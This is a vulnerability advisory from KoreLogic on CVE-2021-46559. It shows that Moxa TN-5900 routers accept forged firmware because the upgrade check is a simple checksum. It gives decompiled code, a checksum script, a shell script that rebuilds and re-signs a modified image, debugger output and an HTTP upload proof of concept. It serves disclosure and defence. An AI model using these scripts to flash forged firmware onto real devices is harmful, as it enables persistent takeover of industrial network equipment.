Authored by Matthew Bergin, Josh Hardin | Site korelogic.com

Moxa TN-5900 versions 3.1.0 and below use an insecure method to validate firmware updates. A malicious user with access to the management interface can upload arbitrary code in a crafted

advisories | CVE-2021-46559

KL-001-2022-001: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability

Title: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability
Advisory ID: KL-001-2022-001
Publication Date: 2022.01.28
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2022-001.txt


1. Vulnerability Details

Affected Vendor: Moxa
Affected Product: TN-5900
Affected Version: v3.1 and prior
Platform: Moxa Linux
CWE Classification: CWE-354 Improper Validation of Integrity
Check Value
CVE ID: CVE-2021-46559


2. Vulnerability Description

Moxa TN-5900 v3.1.0 and prior uses an insecure method to
validate firmware updates. A malicious user with access to the
management interface can upload abritrary code in a crafted
firmware image simply by replacing a CRC value in the image
header.


3. Technical Description

Analysis on this vulnerability began when KoreLogic noticed that
the Ssgl2_update_session_now function is immediately called
when the URL /goform/web_fwUpload is given to the management
application. The Ssgl2_update_session_now function will enable
a session after authentication through the user interface.

undefined4 websSecurityHandler(longlong *param_1) {
...
...
if (requestPtr[0x20] != 0) {
...
...
field_1 = strncmp(in_t0,"/init.asp",9);
if (CONCAT44(extraout_v0_hi_07,field_1) != 0) {
field_2 = strncmp(in_t0,"/goform/web_fwUpload",0x14);
if (CONCAT44(extraout_v0_hi_08,field_2) == 0) {
Ssgl2_update_session_now(local_490);
}
lVar3 = Ssgl2_webmultisession_session_verify(local_490,auStack104);
...
}
}
...
...
}

Reviewing the web_fwUpload function showed the code is used to
update the operating firmware of the affected device. Before
the firmware is accepted, it must pass a check. This check is
provided through the Ssys_firmwareCheck function.

void web_fwUpload(longlong *param_1,longlong *param_2) {
...
if (lVar1 == -1) {
FUN_1200222c0(param_1,"../upgrade.asp","Firmware Upgrade Fail! Restart the device.");
...
}
else {
printf("%s() buffer upload datalen = %dn","web_fwUpload",*(param_1 + 0x39));
...
...
}
else {
puts("Ssys_firmwareCheck");
local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39));
if (-1 < local_118) {
local_118 = Ssys_writeProgram(lVar1);
}
if (local_118 < 0) {
printf("%s() %d firmware check fail ret = %dn","web_fwUpload",0x7c0,local_118);
...
...
}
...
}

The Ssys_firmwareCheck function checks that the kernel and
file system have an expected length and that the provided
image passes a checksum algorithm.

undefined8 Ssys_firmwareCheck(ulonglong param_1,longlong param_2,ulonglong param_3,ulonglong param_4) {
...
if (param_2 == local_44._4_4_) {
...
if (local_4c._0_4_ == 0x400000) {
if ((uVar4 < 0x1800001) && ((uVar4 & 3) == 0)) {
...
file_check_sum(param_1 + 0x20,local_4c._4_4_ + 0x400000,&local_50);
uVar3 = 0;
if (local_50 != local_3c._0_4_) {
FUN_0010d230("[Error] %s L%d : Firmware checksum error (0x%x), should be 0x%x
rn","Ssys_firmwareCheck",0x484,local_50,local_3c._0_4_,extraout_t1_00,extraout_t2_00,extraout_t3_00);
uVar3 = 0xfffffffffffffffc;
}
}
else {
FUN_0010d230("[Error] %s L%d : Rootfs length error (%d), max to %d bytes
rn","Ssys_firmwareCheck",0x47a,uVar4,0x1800000,extraout_t1,extraout_t2,extraout_t3);
uVar3 = 0xfffffffffffffffd;
}
}
else {
FUN_0010d230("[Error] %s L%d : Kernel length error (%d), should be %d bytes
rn","common.c","Ssys_firmwareCheck",0x474,local_4c._0_4_,0x400000,extraout_t2,extraout_t3);
uVar3 = 0xfffffffffffffffe;
}
}
else {
FUN_0010d230("[Error] %s L%d : Firmware file logo mismatch (0x0x), should be 0x%x
rn","Ssys_firmwareCheck",0x46c,local_44._4_4_,param_2,extraout_t1,extraout_t2,extraout_t3);
uVar3 = 0xffffffffffffffff;
}
...
}

The checksum is simple and implemented using the following algorithm:

#!/usr/bin/env python3
import sys
from functools import partial
from binascii import hexlify

with open(sys.argv[1],"rb") as f:
f.seek(0x20)
checksum = int(0)
for dword in iter(partial(f.read,4),b''):
checksum += int(hexlify(dword),16)
print (hex(checksum)[-8:])

A breakpoint was set on the file_check_sum function using GDB
and the valid ROM provided by Moxa was processed. The result
of the checksum process was retrieved.

Breakpoint 14, 0x000000fff6fac3a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so
(gdb) x/1x 0xfffbf4ce30
0xfffbf4ce30: 0x2f43167a

The bytes 0x2f43167a were found in the ROM image itself inside
of a header containing 0x20 bytes.

$ hexdump -C moxa-tn-5900-series-firmware-v3.1.rom
00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |[email protected] ....|
00000010 2f 43 16 7a 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............|

The following script was constructed to disassemble and rebuild
a firmware image using the expected format. The script will
create a file /korelogic on the filesystem. The file will be
zero bytes.

#!/bin/sh
IF=$1
OF=$2
dd bs=1 if=$IF of=$IF.header_1 count=$((0x10))
dd bs=1 if=$IF of=$IF.checksum skip=$((0x10)) count=4
dd bs=1 if=$IF of=$IF.header_2 skip=$((0x14)) count=$((0x20-0x14))
dd bs=1 if=$IF of=$IF.kernel skip=$((0x20)) count=$((0x1d9669-0x20))
dd bs=1 if=$IF of=$IF.splitter skip=$((0x1d9669)) count=$((0x400020-0x1d9669))
dd bs=1 if=$IF of=$IF.cramfs skip=$((0x400020))
cramfsswap $IF.cramfs $IF.cramfs.swap
sudo cramfsck -x fs $IF.cramfs.swap
touch fs/korelogic
mkcramfs fs/ $IF.cramfs.modified
cat $IF.header_1 $IF.checksum $IF.header_2 $IF.kernel $IF.splitter $IF.cramfs.modified > $OF
./checksum.py $OF | xxd -r -p > check_value
dd bs=1 conv=notrunc if=check_value of=$OF seek=$((0x10)) count=4

Here is the script running.

$ sudo ./make_moxa_image.sh moxa-tn-5900-series-firmware-v3.1.rom hacked.rom
16+0 records in
16+0 records out
16 bytes copied, 9.967e-05 s, 161 kB/s
4+0 records in
4+0 records out
4 bytes copied, 7.4433e-05 s, 53.7 kB/s
12+0 records in
12+0 records out
12 bytes copied, 0.000118918 s, 101 kB/s
1939017+0 records in
1939017+0 records out
1939017 bytes (1.9 MB, 1.8 MiB) copied, 3.76396 s, 515 kB/s
2255287+0 records in
2255287+0 records out
2255287 bytes (2.3 MB, 2.2 MiB) copied, 4.32499 s, 521 kB/s
21344256+0 records in
21344256+0 records out
21344256 bytes (21 MB, 20 MiB) copied, 40.8949 s, 522 kB/s
Filesystem is big endian, will be converted to little endian.
Filesystem contains 3313 files.
CRC: 0x9b7eefd0
4+0 records in
4+0 records out
4 bytes copied, 7.4433e-05 s, 53.7 kB/s

The hacked.rom image is then processed and the same breakpoint
is hit. The new checksum should be 0x0987aafc. The new checksum
is patched into the hacked.rom image already from the above
script.

$ hexdump -C hacked.rom
00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |[email protected] ....|
00000010 09 87 aa fc 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............|

GDB output confirms that the checksum is the same result:

Breakpoint 2, 0x000000fff72853a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so
(gdb) x/1x 0xfffbad34d0
0xfffbad34d0: 0x0987aafc

When processing the hacked.rom image, we receive a new error.

Firmware check failed, error occurs when write kernel to flash. Restart the device.

Comparing the indicated error against the pseudo-c indicates we
have passed the firmware validation checks. This was confirmed
using GDB as well.

void web_fwUpload(longlong *param_1,longlong *param_2) {
...
if (lVar1 == -1) {
...
}
else {
...
else {
puts("Ssys_firmwareCheck");
local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39));
if (-1 < local_118) {
local_118 = Ssys_writeProgram(lVar1);
}
...
}

The error indicating a write exception is expected as we were
not operating on a Moxa device but were instead emulating the
Moxa firmware on a MIPS development board.


4. Mitigation and Remediation Recommendation

The vendor has released a patch which remediates the described
vulnerability. Release notes are available at:

https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities


5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
and Josh Hardin of KoreLogic, Inc.


6. Disclosure Timeline

2021.02.05 - KoreLogic submits vulnerability details to Moxa.
2021.02.08 - Moxa acknowledges receipt and the intention to
investigate.
2021.03.02 - Moxa notifies KoreLogic that a patch for this
vulnerability is expected to be available in June 2021.
2021.04.16 - 45 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.06.07 - KoreLogic requests update on the status of the
proposed TN-5900 patch.
2021.06.15 - Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021.
2021.06.23 - 90 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.07.25 - Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021.
2021.09.22 - 150 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.12.21 - 210 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2021.12.27 - Moxa notified KoreLogic that the patch is complete and ready for release..
2021.12.28 - Moxa public acknowledgement.
2022.01.25 - KoreLogic requests CVE from Mitre.
2022.01.28 - KoreLogic public disclosure.


7. Proof of Concept

POST /goform/web_fwUpload HTTP/1.1
Host: 192.168.10.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11395841764774651092787307532
Content-Length: <HTTP REQUEST SIZE>
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------11395841764774651092787307532
Content-Disposition: form-data; name="binary"; filename="hacked.rom"
Content-Type: text/plain

<HACKED.ROM FIRMWARE IMAGE>
-----------------------------11395841764774651092787307532
Content-Disposition: form-data; name="submit"

submit
-----------------------------11395841764774651092787307532--

HTTP/1.1 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html
Transfer-Encoding: chunked

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<head>
<title></title>
</head>
<body bgcolor="#E8FFF7" text="#000000" topmargin="10" leftmargin="12" >
<font size="2" face="Arial, Helvetica, sans-serif, Marlett">
<p>Firmware check failed, error occurs when write kernel to flash. Restart the device.</p>
</font></body>
</html>



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